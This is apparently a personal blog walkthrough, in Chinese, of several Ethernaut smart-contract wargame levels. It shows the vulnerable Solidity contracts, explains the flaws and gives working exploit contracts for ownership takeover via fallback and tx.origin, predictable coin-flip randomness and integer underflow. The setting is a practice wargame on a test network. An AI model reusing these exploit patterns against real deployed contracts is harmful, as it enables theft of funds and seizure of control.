目录
xctf 的区块链题目打的自闭,fjh 师傅推荐了个能刷区块链题目的平台,正好来练练手。

准备工作
首先当然是要科学上网啦,提供服务的一些网站基本没有在国内的,所以先网上冲浪吧。
其次安装 chrome 扩展小狐狸 MetaMask,这个相当于我们的区块链钱包,一般的区块链题目都是部署在 Ropsten 测试网络上,在测试网络我们可以无限白嫖 ETH(最多好像是持有 5 个 ETH),所以安装完成后先要去嫖几个币,记录一下能用的水龙头地址:
最后就是熟悉下 solidity 的语法,跟 go 差不多,几分钟就可以上手。
Hello Ethernaut
这个题目主要面向初学者,只要完成了上述准备工作能与网站交互即可,用浏览器 F12 开着 console 一顿瞎捣鼓即可过关。payload :
contract.authenticate('ethernaut0')
// 之后 submit 即可
Fallback
直接给了源码,题目的要求:
- you claim ownership of the contract
- you reduce its balance to 0
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback is Ownable {
using SafeMath for uint256;
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
首先稍微审计一下,整个合约 Fallback 可以看做别的语言中的类,同样也有对应的同名构造函数 Fallback,这个构造函数会让映射(可以理解为 py 中的字典) contributions 初始化,但是初始化的键 msg.sender 并不是我们的地址,而是合约创建者的地址。也就是说实际上我们的操作无法调用构造函数 Fallback()。
其次是一个给钱函数 contribute,调用这个函数并给 send 过去 eth,就会把你的贡献记录在映射 contributions 中,同样也可以用 getContribution() 方法查看自己的贡献。

最后的函数没有参数莫得姓名,才是这个合约真正的 fallback 函数(回调函数), 触发这个函数有两个条件,要么 call 了一个没有的函数,要么没有传递任何数据。第一种情况类似 php 中的 __call() 魔术方法,另一种目前我也没太完全理解,只知道 send 给合约地址 eth 属于这种情况。因此我们直接用MetaMask 给当前合约转随便一笔钱,就会触发这个 fallback 函数,从而让合约的 owner 变成我们自己,这样就完成了要求的第一点,随后再调用 withdraw() 方法,就可以把我们之前转给合约的钱拿回来,顺便把 balance 清零。

Fallout
给了代码,过关条件是把合约 owner 替换为我们自己。
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
这个题比较弱智,仔细看第一个函数实际上并不是构造函数(Fallout、Fal1out),所以直接调用 Fal1out() 方法即可。
Coin Flip
过关条件:连续十次猜对硬币。
这题才逐渐有点 ctf 的感觉,先看代码:
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这个合约的问题在于,计算随机数时会取上一个区块的哈希值,与一个常量进行计算,由于区块链的特性,在这个计算过程中所有的因子都是可知的,因此我们可以模拟该合约生成的过程,就可以稳定猜中硬币的朝向,在 remix 编译器编写 exp:
pragma solidity ^0.4.18;
contract CoinFlip {
function flip(bool _guess) public returns (bool);
}
contract Exp{
address public con_addr = 0x8EbAEb3759143180A7Cdb4Ed832607986CA63AF5;
// 这个地址改成合约的地址
CoinFlip c = CoinFlip(con_addr);
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function guess() public{
uint256 blockValue = uint256(blockhash(block.number -1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
function getflag() public{
for(uint i = 0; i < 10; i++){
guess();
}
}
}
由于这个 sol 文件有两个合约,在编译的时候要选择编译 exp这个合约

此外,remix 编译器有时候会爆编译器未加载的错误,只要吧浏览器的过滤广告插件关了即可(白名单有时候不太行)。
调用合约的 guess() 方法,在题目处查询就可以看到执行成功。

Telephone
代码非常短,题目要求把 owner 改成我们自己的地址:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
可以看到主要就是绕过 tx.origin 这个判断,但是这个变量是交易的初始发起者(一定是用户地址),而 msg.sender 是当前交易的发起者(可以是合约地址)。也就是说当用户部署了某个合约 A 去调用合约 B,在被调用的合约 B 看来,msg.sender 是合约 A 的地址,而 tx.origin 则代表整个调用链最顶端的人(合约 B -> 合约 -> A -> 用户),即用户。因此我们可以自定义一个合约调用这个合约的方法,此时的 tx.origin 就是用户地址,而 msg.sender 则是合约地址,就可以绕过限制。
pragma solidity ^0.4.18;
contract Exp{
function getflag() public {
Tele abc = Tele(0xd5a70904a983cd947c1bfdb9686831a85eb4eaae);
abc.changeOwner(tx.origin);
}
}
contract Tele{
function changeOwner (address _owner) public ;
}
Token
要求让我们吧自己的 token 值调到特别大,题目代码:
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这里考点主要是 solidity 的特性。由于映射 balances 的值是 unit 类型,根据 solidity 编译器,uint >= 0 永真,因此 transfer() 方法第一行的限制是完全不起作用的,可以随意给自己的地址转账,转完直接 submit 即可。
请问为什么我在coin flip里自己手动执行guess()可以,但是用getflag()就不行呢?我猜测是因为getflag中没有等到一笔交易confirm,就直接再执行一次guess,导致block number没有更新?